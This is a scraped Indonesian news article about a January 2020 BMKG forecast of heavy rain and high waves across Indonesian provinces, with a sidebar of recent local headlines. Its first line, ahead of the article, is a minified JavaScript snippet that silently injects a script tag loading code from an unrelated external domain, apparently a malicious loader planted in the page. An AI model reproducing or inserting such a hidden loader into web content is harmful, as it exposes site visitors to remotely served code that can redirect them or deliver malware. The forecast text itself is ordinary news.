(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Hujan Lebat Masih Landa Sebagian Besar Indonesia Sepekan Kedepan, Ini wilayah Terdampak


KANALKALIMANTAN.COM, BANJARMASIN – Potensi hujan lebat di beberapa wilayah Indonesia untuk sepekan kedepan, yang berdasarkan dari hasil analisis kondisi dinamika atmosfer.

“Hasil analisis menunjukkan bahwa Madden Julian Oscillation (MJO) masih berada di Wilayah Indonesia bagian tengah dan timur yang mendukung peningkatan konsentrasi curah hujan. Yang ditandai dengan fenomena gelombang tropis yakni Kelvin Wave dan Rossby Ekuatorial, yang berkontribusi signifikan pada pembentukan pola siklonik dan pertemuan angin yang berpotensi meningkatkan pertumbuhan awan hujan di wilayah Sumatera dan Kalimantan,” kata Deputi Bidang Meteorologi Badan Meteorologi Klimatologi dan Geofisika (BMKG) Drs. R. Mulyono R. Prabowo M.Sc di Jakarta, Minggu (12/01/2020).

Berdasarkan kondisi tersebut, BMKG memprakirakan dalam periode sepekan ke depan curah hujan dengan intensitas sedang hingga lebat, yang dapat disertai kilat dan angin kencang berpotensi terjadi di beberapa wilayah sebagai berikut ini:

Periode 12 – 14 Januari 2020 :
– Sumatera Barat
– Jambi
– Bengkulu
– Bangka Belitung
– Sumatera Selatan
– Lampung
– Jawa Tengah
– Jawa Timur
– NTT
– Kalimantan Tengah
– Kalimantan Utara
– Kalimantan Timur
– Kalimantan Selatan
– Sulawesi Tengah
– Sulawesi Tenggara
– Sulawesi Barat
– Sulawesi Selatan
– Maluku
– Papua Barat
– Papua

Periode 15 – 18 Januari 2020 :
– Sumatera Barat
– Kepulauan Riau
– Jambi
– Bengkulu
– Bangka Belitung
– Sumatera Selatan
– Lampung
– Banten
– DKI Jakarta
– Jawa Barat
– Jawa Tengah
– DI Yogyakarta
– Jawa Timur
– NTT
– Kalimantan Barat
– Kalimantan Tengah
– Kalimantan Utara
– Kalimantan Timur
– Sulawesi Tengah
– Sulawesi Barat
– Sulawesi Selatan
– Sulawesi Tenggara
– Maluku
– Papua Barat
– Papua

Potensi ketinggian gelombang laut di wilayah Indonesia hingga mencapai lebih dari 2.5 meter dapat terjadi di beberapa wilayah perairan sebagai berikut untuk sepekan ke depan:
– Perairan selatan Jawa Tengah hingga P.Sumba
– Laut Sawu
– Perairan selatan P.Sawu – P.Rote
– Samudra Hindia selatan Jawa hingga NTT
– Laut Natuna Utara

BMKH menghimbau kepada masyarakat, agar tetap waspada dan berhati-hati terhadap dampak yang dapat ditimbulkan seperti banjir, tanah longsor, banjir bandang, genangan, angin kencang, pohon tumbang dan jalan licin. “Selain itu, kepada masyarakat yang tinggal dan beraktivitas di pesisir sekitar area yang berpeluang terjadi gelombang tinggi diimbau agar selalu waspada,” tandas Mulyono. (kanalkalimantan.com/fikri)

Reporter : Kanalkalimantan.com/Fikri
Editor : Chell


Desy Arfianty

Recent Posts

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

14 jam ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

18 jam ago

Laka Maut di Kawasan Murdjani Banjarbaru, Satu Pemotor Jalan Melawan Arus

KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More

20 jam ago

Debit BRI Multicurrency: Solusi Transaksi Global Tanpa Biaya Tambahan

KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More

21 jam ago

Peringatan HUT ke-25 DWP di Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More

22 jam ago

Menutup Tahun Pemko Banjarbaru Raih Dua Penghargaan

KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More

24 jam ago

This website uses cookies.